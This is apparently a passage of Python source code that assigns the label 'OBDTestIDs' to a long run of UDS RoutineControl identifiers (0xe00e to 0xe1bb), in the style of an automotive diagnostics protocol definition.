UDS_RC.routineControlIdentifiers[0xe00e] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe00f] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe010] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe011] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe012] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe013] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe014] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe015] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe016] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe017] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe018] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe019] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe01a] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe01b] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe01c] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe01d] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe01e] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe01f] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe020] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe021] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe022] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe023] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe024] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe025] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe026] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe027] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe028] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe029] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe02a] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe02b] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe02c] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe02d] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe02e] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe02f] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe030] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe031] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe032] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe033] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe034] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe035] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe036] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe037] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe038] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe039] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe03a] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe03b] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe03c] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe03d] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe03e] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe03f] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe040] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe041] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe042] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe043] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe044] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe045] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe046] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe047] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe048] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe049] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe04a] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe04b] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe04c] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe04d] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe04e] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe04f] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe050] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe051] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe052] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe053] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe054] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe055] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe056] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe057] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe058] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe059] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe05a] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe05b] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe05c] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe05d] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe05e] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe05f] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe060] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe061] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe062] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe063] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe064] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe065] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe066] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe067] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe068] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe069] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe06a] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe06b] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe06c] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe06d] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe06e] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe06f] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe070] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe071] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe072] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe073] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe074] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe075] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe076] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe077] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe078] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe079] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe07a] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe07b] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe07c] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe07d] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe07e] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe07f] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe080] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe081] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe082] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe083] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe084] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe085] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe086] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe087] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe088] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe089] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe08a] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe08b] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe08c] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe08d] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe08e] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe08f] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe090] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe091] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe092] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe093] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe094] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe095] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe096] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe097] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe098] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe099] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe09a] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe09b] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe09c] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe09d] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe09e] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe09f] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0a0] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0a1] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0a2] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0a3] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0a4] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0a5] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0a6] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0a7] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0a8] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0a9] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0aa] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0ab] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0ac] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0ad] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0ae] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0af] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0b0] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0b1] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0b2] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0b3] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0b4] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0b5] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0b6] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0b7] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0b8] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0b9] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0ba] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0bb] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0bc] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0bd] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0be] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0bf] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0c0] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0c1] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0c2] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0c3] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0c4] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0c5] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0c6] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0c7] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0c8] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0c9] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0ca] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0cb] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0cc] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0cd] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0ce] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0cf] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0d0] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0d1] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0d2] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0d3] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0d4] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0d5] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0d6] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0d7] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0d8] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0d9] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0da] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0db] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0dc] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0dd] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0de] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0df] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0e0] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0e1] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0e2] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0e3] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0e4] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0e5] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0e6] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0e7] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0e8] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0e9] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0ea] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0eb] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0ec] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0ed] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0ee] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0ef] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0f0] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0f1] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0f2] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0f3] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0f4] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0f5] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0f6] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0f7] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0f8] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0f9] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0fa] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0fb] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0fc] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0fd] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0fe] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0ff] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe100] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe101] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe102] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe103] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe104] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe105] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe106] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe107] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe108] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe109] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe10a] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe10b] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe10c] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe10d] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe10e] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe10f] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe110] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe111] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe112] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe113] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe114] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe115] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe116] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe117] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe118] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe119] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe11a] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe11b] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe11c] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe11d] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe11e] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe11f] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe120] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe121] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe122] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe123] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe124] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe125] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe126] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe127] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe128] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe129] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe12a] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe12b] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe12c] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe12d] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe12e] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe12f] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe130] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe131] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe132] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe133] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe134] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe135] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe136] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe137] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe138] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe139] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe13a] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe13b] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe13c] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe13d] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe13e] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe13f] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe140] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe141] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe142] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe143] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe144] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe145] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe146] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe147] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe148] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe149] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe14a] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe14b] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe14c] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe14d] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe14e] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe14f] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe150] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe151] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe152] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe153] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe154] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe155] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe156] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe157] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe158] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe159] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe15a] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe15b] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe15c] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe15d] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe15e] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe15f] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe160] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe161] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe162] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe163] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe164] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe165] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe166] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe167] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe168] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe169] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe16a] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe16b] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe16c] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe16d] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe16e] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe16f] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe170] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe171] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe172] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe173] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe174] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe175] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe176] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe177] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe178] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe179] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe17a] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe17b] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe17c] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe17d] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe17e] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe17f] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe180] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe181] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe182] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe183] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe184] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe185] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe186] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe187] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe188] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe189] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe18a] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe18b] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe18c] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe18d] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe18e] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe18f] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe190] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe191] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe192] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe193] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe194] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe195] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe196] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe197] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe198] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe199] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe19a] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe19b] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe19c] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe19d] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe19e] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe19f] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1a0] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1a1] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1a2] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1a3] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1a4] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1a5] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1a6] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1a7] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1a8] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1a9] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1aa] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1ab] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1ac] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1ad] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1ae] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1af] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1b0] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1b1] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1b2] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1b3] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1b4] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1b5] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1b6] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1b7] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1b8] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1b9] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1ba] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1bb] = "OBDTestIDs" 